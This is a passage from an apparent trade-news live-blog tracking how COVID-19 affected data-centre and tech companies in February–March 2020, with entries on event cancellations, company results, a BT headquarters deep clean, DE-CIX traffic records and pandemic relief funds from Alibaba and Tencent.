In a statement on the BT Group website, the company confirmed that it is working closely with Public Health England to carry out "a full deep clean" of parts of its Group headquarters and will support any employees who have had contact with Philip ensuring they are "appropriately advised".

Natalie Bannerman writes for Capacity Media here.


March 12, 15:00 – Datacloud Global Congress in Monaco announces rescheduled dates for 7-8-9 December 2020

After discussions with industry partners, BroadGroup the producers of Datacloud Global Congress and Awards, has taken the decision to reschedule the annual June dates for the event in Monaco to 7-9 December 2020.

Because of the unfolding impact of Covid-19 and its impact on global travel and business, the company believes it is of importance to give clarity to its customers at a time of great uncertainty.

Read the official announcement by the organisers here.


March 12, 13:57 – DE-CIX sees record-level network traffic caused by COVID-19 virus pandemic

DE-CIX (the Deutsche Commercial Internet Exchange) in Frankfurt set a new world record for data throughput on Tuesday evening this week, driven by increased internet usage related to the Coronavirus outbreak.

It was in December 2019 that DE-CIX in Frankfurt hit the 8 Terabits-per-second mark, and it has now increased its data throughput by more than 12% in just a couple of months.

Abigail Opiah reports more here.


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March 10, 15:02 Coronavirus outbreak to wipe off $70m to $90m from Vertiv's Q1

Vertiv Holdings Co (NYSE: VRT) reported its full-year 2019 financial results with net sales of $4.4 billion, 3.4% higher than 2018, and 5.6% higher on an organic basis when adjusted for changes in foreign currency exchange rates.

The company reported a full-year 2019 net loss of $141 million declined 55% and adjusted EBITDA of $542 million increased 7.8% from 2018 driven by the higher sales and a 50 basis point improvement in adjusted EBITDA margin to 12.2%.

Abigail Opiah writes more here.


March 6, 19:24 – Iron Mountain sends customer service advisory letters to clients and partners

Answering to the global crisis, Mark Kidd, EVP & General Manager at Iron Mountain Data Centers, has sent a letter to clients and partners on how the company is dealing with the crisis and what the next steps will be for the business.

Read the full letter here.


March 5, 09:55 – Coronavirus cancellations near $1 billion

The event economy is likely to suffer losses of US$1 billion as a direct result of tech industry event cancellations due to coronavirus.

The figure – calculated by PredictHQ and currently standing at $900 million  –  is based on the median fundamental costs incurred by delegates while attending specific major events, which were scheduled for the coming months. Naturally, as more events are cancelled the figure will increase, however, the actual losses to event organisers and hosts are unlikely to be calculated due to the sensitivity of the data.

Melanie Mingas writes for Capacity Media here.


March 4, 12:38 Tech losses mount as Google and Microsoft cancel events over COVID-19

Google is the latest to cancel its flagship 2020 event, as new data estimates total losses could reach $900 million.

The Google I/O conference, scheduled to take place at Shoreline Amphitheatre, in Mountain View, CA, from 12th May, has been cancelled following health guidance from the US Centers for Disease Control and Prevention, and the World Health Organization (WHO).

However, Google Cloud Next 20 will still take place as a series of virtual sessions and live-streamed keynotes.

Melanie Mingas reports here.


February 24, 11:46 Alibaba to give out free cloud to help businesses affected by Coronavirus

Alibaba Cloud is offering $1,000 of credits to purchase cloud services to organisations that have been impacted by the Coronavirus outbreak, to ensure business stability.

In the company's December quarter 2019 results, Daniel Zhang, Chairman and Chief Executive Officer of Alibaba Group said that the company mobilised Alibaba ecosystem's forces of commerce and technology to fully support the fight against the outbreak.

Abigail Opiah reports here.


Schneider Electric chairman and CEO Jean-Pascal Tricoire takes to the stage at the company's Innovation Summit 2019 in Barcelona, Spain. Photo: Schneider Electric

February 20, 14:41 Schneider Electric expects to recover from €300m revenue blow caused by Coronavirus

Schneider Electric has announced its fourth-quarter revenues and full-year results for the period ending December 31, 2019.

The France-based company reported €27.2bn revenues for the full year of 2019, a growth of +6%, and an organic growth of +4.2% with growth across businesses and all regions.

The company said that it is assessing the impact of the Coronavirus to the business, and stated that there will be an impact in Q1 2020 due to factory closures in January and February.

Abigail Opiah has the story here.


February 13, 14:08 – Alibaba Cloud sees big growth, aims for public cloud expansion

Alibaba Cloud maintained high growth for the fourth quarter ended 31 December 2019, with revenue growing 62% year-over-year to RMB10.721bn (US$1.540bn). The growth was reported as part of parent Alibaba Group's (NYSE: BABA and HKEX: 9988) posted quarterly results.

The leading Chinese cloud service provider said sales were driven from both its public cloud and hybrid cloud businesses. Ahead of its 11.11 Global Shopping Festival during the quarter, Alibaba Cloud said it enabled the migration of the Alibaba Group's core ecommerce businesses onto its public cloud.

Antony Savvas reports.


February 13, 14:08 – Tencent pledges another $143m in response to the outbreak

As China's death toll passes 1,300 following the ongoing outbreak of the Coronavirus, Chinese tech company Tencent has rallied funds to aid in the fight against the mass spread.

Tencent announced the establishment of the "Comprehensive Security Fund for the Battle against Novel Coronavirus Pneumonia", following the launch of the $42.9m (RMB300m) Outbreak Response Fund and the $28.6m (RMB200m) Developer Support Alliance Fund.

The Chinese internet-based platform company set up the Anti-Epidemic Fund by committing another $143m (RMB1bn) to support the battle against the Coronavirus.

Abigail Opiah has more on the story here.

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